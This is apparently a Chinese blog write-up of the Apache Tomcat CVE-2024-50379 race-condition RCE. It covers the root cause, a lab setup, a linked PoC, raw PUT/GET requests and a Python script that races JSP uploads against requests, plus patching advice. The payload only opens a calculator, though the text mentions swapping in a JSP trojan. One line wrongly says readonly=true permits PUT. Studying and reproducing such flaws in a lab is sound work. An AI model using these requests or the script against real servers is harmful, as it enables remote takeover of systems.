Apache Tomcat - 远程代码执行漏洞 - CVE-2024-50379
CVE-2024-50379
漏洞简介
部分版本 Apache Tomcat 由于在验证文件路径时存在缺陷,如果 readonly 参数被设置为 false(这是一个非标准配置),并且服务器允许通过 PUT 方法上传文件,那么攻击者就可以上传含有恶意 JSP 代码的文件。通过不断的发送请求,攻击者可以利用条件竞争漏洞,使得 Tomcat 解析并执行这些恶意文件,从而实现远程代码执行。
Apache 在 CVE-2024-50379 警报中指出:“在负载下同时读取和上传同一文件可能会绕过 Tomcat 的大小写敏感检查,导致上传的文件被视为 jsp,从而导致远程代码执行。”
该漏洞的利用具有以下两个前提:
Tomcat 启用 PUT 方法(在 Tomcat 的 default servlet 配置中将 readonly 设置为 false)。
Tomcat 运行在大小写不敏感的操作系统上,比如 Windows。
CVE评分:9.8/10 等级:高危
影响范围
- 11.0.0-M1 <= Apache Tomcat < 11.0.2
- 10.1.0-M1 <= Apache Tomcat < 10.1.34
- 9.0.0.M1 <= Apache Tomcat < 9.0.98
环境部署
本次实验我是在两台虚拟机上完成的,在Windows10上面部署java8和tomcat服务,然后在kali中不断向Windows10里面的tomcat攻击。
靶机环境准备
以Windows10虚拟机为靶机
下载Windows10虚拟机教程如下
https://blog.csdn.net/Cappuccino_jay/article/details/125536845
以Kali为攻击机(这个应该搞安全的都有了)
java8的安装与配置
参考博客
https://blog.csdn.net/hantaozi/article/details/103697163
Tomcat的安装与配置
下载地址
https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.80/bin/

然后就是添加环境变量
参考网上教程
https://blog.csdn.net/m0_74823705/article/details/144201247
然后在bin目录下

启动以后,可以在浏览器中输入
如果出现下图页面则证明成功了

漏洞分析
漏洞原理
在tomocat的配置文件 (conf/web.xml)中可以看到如下内容
<!-- The mapping for the default servlet -->
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<!-- The mappings for the JSP servlet -->
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
可以看到当请求的后缀为jsp或jspx的时候交由JSP servlet进行处理请求,此外交给default servlet进行处理请求。
也就是说Tomcat 是禁止直接上传 .jsp 文件的,因为后缀为小写的 .jsp 文件,当用户访问时,Tomcat 会交给 jspServlet 处理,而从处理代码没有发现处理HTTP PUT类型的操作。而当用户访问后缀为大写的 .JSP 文件时,Tomcat 会交给 defaultServlet 处理,defaultServlet 在处理文件时,会直接把文件内容返回给浏览器,并不会直接执行它。
当default servlet处理PUT请求时逻辑如下
@Override
protected void doPut(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
if (readOnly) {
sendNotAllowed(req, resp);
return;
}
String path = getRelativePath(req);
WebResource resource = resources.getResource(path);
Range range = parseContentRange(req, resp);
if (range == null) {
// Processing error. parseContentRange() set the error code
return;
}
InputStream resourceInputStream = null;
try {
// Append data specified in ranges to existing content for this
// resource - create a temp. file on the local filesystem to
// perform this operation
// Assume just one range is specified for now
if (range == IGNORE) {
resourceInputStream = req.getInputStream();
} else {
File contentFile = executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile);
}
if (resources.write(path, resourceInputStream, true)) {
if (resource.exists()) {
resp.setStatus(HttpServletResponse.SC_NO_CONTENT);
} else {
resp.setStatus(HttpServletResponse.SC_CREATED);
}
} else {
resp.sendError(HttpServletResponse.SC_CONFLICT);
}
} finally {
if (resourceInputStream != null) {
try {
resourceInputStream.close();
} catch (IOException ioe) {
// Ignore
}
}
}
}
可以看到会去检查配置文件中的readonly的值是否为false,如果是true的话就直接return也就是不允许put请求。
但是如果Tomcat的readonly属性的值是true的话,就允许put请求。
也就是说readonly是用来控制 default servlet 是否允许读写的,默认情况下,readonly 值为 true,表示 default servlet 仅支持读取文件,不允许通过 HTTP 请求(如 PUT 或 DELETE)修改或删除文件。当该参数设置为 false 时,就代表允许 default servlet 进行读写操作,这意味着客户端可以通过 HTTP 请求(如 PUT 或 DELETE)上传,修改或者删除服务器上的文件。说到这里其实都是CVE-2017-12615里的内容。
在这个基础上再看看CVE-2024-50379。
原理:
# 默认Servlet配置问题
如果Tomcat的默认Servlet启用了写权限,即readonly初始化参数被设置为false,并且允许PUT方法上传文件,攻击者就能够上传包含恶意JSP代码的文件,通过不断发送请求,利用条件竞争触发Tomcat对这些文件的解析和执行,最终导致远程代码执行漏洞。
# Tomcat路径校验逻辑缺陷与条件竞争(TOCTOU 竞态 + 大小写不敏感)
当并发执行PUT xxx.Jsp和GET xxx.jsp请求时,会出现条件竞争。在PUT请求的文件还未完全落地时,文件系统中出现临时文件(如 `evil.Jsp.tmp`),但 `evil.Jsp` 尚未创建。这个时候GET请求到达后,Tomcat会先进行安全检查。
GET请求 evil.jsp时路径检验的代码概括如下:
String absPath = file.getAbsolutePath();
String canPath = file.getCanonicalPath(); // 获取文件的“规范路径”
if (!canPath.equals(absPath)) {
if (!canPath.equalsIgnoreCase(absPath)) {
logIgnoredSymlink(getRoot().getContext().getName(), absPath, canPath);
}
return null;
}
if (!file.exists()) {
return; // 文件不存在
}
// 资源合法,继续处理
如果在 file.getCanonicalPath() 调用时,文件尚未“落地”(就是还未创建好),getCanonicalPath()返回的是“规范路径”,它会根据文件是否存在来取值如果文件不存在就返回输入路径(如 .../evil.jsp),如果文件存在则返回真实路径,值得一提的是如果evil.Jsp被创建成功了,Windows系统找evil.jsp会找到Jsp从而判定存在返回(.../evil.Jsp)。而file.getAbsolutePath()返回的则是当前的请求路径(如 .../evil.jsp)。
也就是说,当PUT请求的文件尚“未落地”的时候其实evil.jsp和evil.Jsp都不存在。
absPath = "...\evil.jsp"
canPath = "...\evil.jsp"
这样if (!canPath.equals(absPath))->false #"evil.jsp" == "evil.jsp"所以不进入if块继续处理。
如果在这之后PUT请求落地了,也就是evil.Jsp被成功创建了,之后检查文件是否存在file.exists()由于Windows对大小写不敏感所以找到evil.Jsp所以会认为存在。
这个时候GET请求的安全检查已经完成,后面就是执行尝试读取文件evil.jsp。Windows找到evil.Jsp交给JspServlet进行执行,从而就执行了我们在evil.Jsp中写的恶意代码,RCE达成。
所以综上所述
漏洞利用必须满足两个矛盾状态:
-
路径校验时文件"不存在"
→getCanonicalPath()返回小写路径(请求文件路径) → 通过路径校验canPath.equals(absPath)- 进行file.exists()前文件存在
→ 如果在file.exists()前PUT请求的evil.Jsp成功创建便可以通过file.exists()(因为Windows对大小写不敏感找不到evil.jsp就会将evil.Jsp当作它)
→ 通过安全检验,加载evil.Jsp并当作evil.jsp执行
- 进行file.exists()前文件存在
流程图如下

如何利用漏洞
知道了上面的信息,接下来说一下怎么利用这个漏洞
- 攻击者开启一个程序,不断的向服务端上传 test.JSP 文件。(大写JSP)
- 由于服务器的配置问题(readonly为false),所以上传的文件被default servlet 进行处理,并且能够成功上传。
- 攻击者又开启一个程序,不断的尝试请求服务端的 test.jsp 文件。
- 服务器收到请求以后,通过条件竞争绕过安全检验,并由于Windows不区分大小写,使得JSP文件被jspservlet处理并解析,这就造成了RCE的漏洞。
漏洞复现
复现之前首先要修改配置文件为存在漏洞的配置文件
打开Tomcat目录下的conf下的web.xml
搜索defalut

默认是没有readonly那一栏的,我们手动填加上readonly并设置为false,然后我们便可以开始复现了。
本次CVE漏洞在github上有大佬写好的POC,我便借助了大佬写好的POC完成的复现。
POC下载地址
https://github.com/SleepingBag945/CVE-2024-50379/releases/tag/f
由于我是在kali里运行的POC,所以我下载的是linux版本

将其下载后直接拖到kali里,这是一个可执行程序可以直接通过./执行。
在执行之前先在Windows10虚拟机上将Tomcat服务启动。然后按下图执行

其中-u 后面跟着的是运行tomcat服务器的主机ip。-f 后面的是在攻击主机上jsp文件名(可以理解为想上传的jsp文件)。-p 后面的是在目标主机上保存的文件名这个起什么都可以
执行以后等待一段时间,如果出现利用成功:http://目标ip地址/test.jsp 就说明攻击成功了。
这个时候就相当于将test.jsp文件上传到tomcat服务器了(为什么说是相当于,后面会解释)
其中我在kali中写的test.jsp内容如下
<% Runtime.getRuntime().exec("calc.exe");%>
就是一个简单的调用计算器并无危害。
现在,只要我们只要一使用浏览器访问上面这个地址http://192.168.45.138,靶机中就会执行 test.jsp 文件,就会弹出一个计算器(我这里就通过 Linux 的 curl 命令来模拟浏览器访问):

这时候切到靶机上去看一下

发现弹了很多的计算器出来。
当然我们将test.jsp的内容换成别的,比如写入jsp木马,那样我们便能控制住服务器了。
POC的实现原理
Tomcat会将上传成功的文件保存到webapps/ROOT下
我们运行完POC后立马切到此目录下观察。

图中圈中的两个文件就是POC一开始上传的文件,分别在浏览器中访问试试

和我们前面分析的一样,当你访问 .Jsp 这种包含大写字母的文件扩展名,会交给default servlet处理也就是直接显示文件内容,而不会执行。上面那个就是 POC 创建的文件,其实逻辑很简单,content 变量里就是我们在kali里写的恶意程序经过 base64 编码后的内容,我们可以解码看看
解码后
<% Runtime.getRuntime().exec("calc.exe");%>
然后代码中剩下的部分则是在目标服务器创建一个test.jsp文件,并将Content里的内容写如文件中。只要这个文件被执行就会创建test.jsp文件。
然后POC程序便会不断的发送Get请求去访问ifyWYZXB2.jsp,同时不断的发送PUT请求上传ifyWYZXB2.Jsp,在PUT请求还未落地 GET请求先到来的极小的时间间隙里,可以绕过一系列的安全检验,最后由于Windows对大小写不敏感就回去找ifyWYZXB2.Jsp然后将其送到jspservlet将其当作jsp解析了,这样test.jsp就被创建并保存在了ROOT下。(这就是我为什么说相当于在服务器上上传了一个文件)
既然"上传到"了服务器的根目录,那么便可以直接根据路径去访问,每访问一次就会执行里面的jsp代码(也就是弹一次计算器)。
手动实现
当然还可以手动复现,只不过我试过很多次,成功率不高(原因可能是系统内存和核心太高了处理起来太快了)
我们可以手动构造两个包然后在Yakit里并发的发包
第一个
PUT /test1.Jsp HTTP/1.1
Host: 192.168.45.138:8080
<% Runtime.getRuntime().exec("calc.exe");%>
并发10000 20
第二个
GET /test1.jsp HTTP/1.1
Host: 192.168.45.138:8080
并发10000 5000
我们还可以通过跑python脚本
成功率也不高
脚本里的地址换成自己的
import asyncio
import aiohttp
async def send_request(session, method, url, data=None):
try:
async with session.request(method, url, data=data) as response:
print(f"Request to {url} completed with status {response.status}")
return await response.text()
except Exception as e:
print(f"Request to {url} failed: {e}")
return None
async def main():
async with aiohttp.ClientSession() as session:
tasks = []
for _ in range(10000): # 循环100次
tasks.append(send_request(session, 'PUT', 'http://192.168.45.138:8080/evil.Jsp', data='<% Runtime.getRuntime().exec("calc.exe");%>'))
tasks.append(send_request(session, 'PUT', 'http://192.168.45.138:8080/test.Jsp', data='<% Runtime.getRuntime().exec("calc.exe");%>'))
tasks.append(send_request(session, 'GET', 'http://192.168.45.138:8080/evil.jsp'))
# 并发执行所有任务
responses = await asyncio.gather(*tasks)
# 打印部分响应结果(可选)
for i, response in enumerate(responses):
if response:
print(f"Response {i+1}: {response[:100]}...")
# 运行主函数
asyncio.run(main())
当然可以Yakit和脚本一起跑成功率会高一点
漏洞修复
修复比较简单,这个漏洞只是会在某些服务器配置下会产生,但是由于影响的范围非常广,并且一旦被利用危害很大,所以被列为高危漏洞了。
以下是修复建议
- 将Tomcat更新为>=11.0.2、>=10.1.34、>=9.0.98版本
- 将readonly设置为Yes
- 禁用PUT方法
- 选择对大小写敏感的操作系统部署服务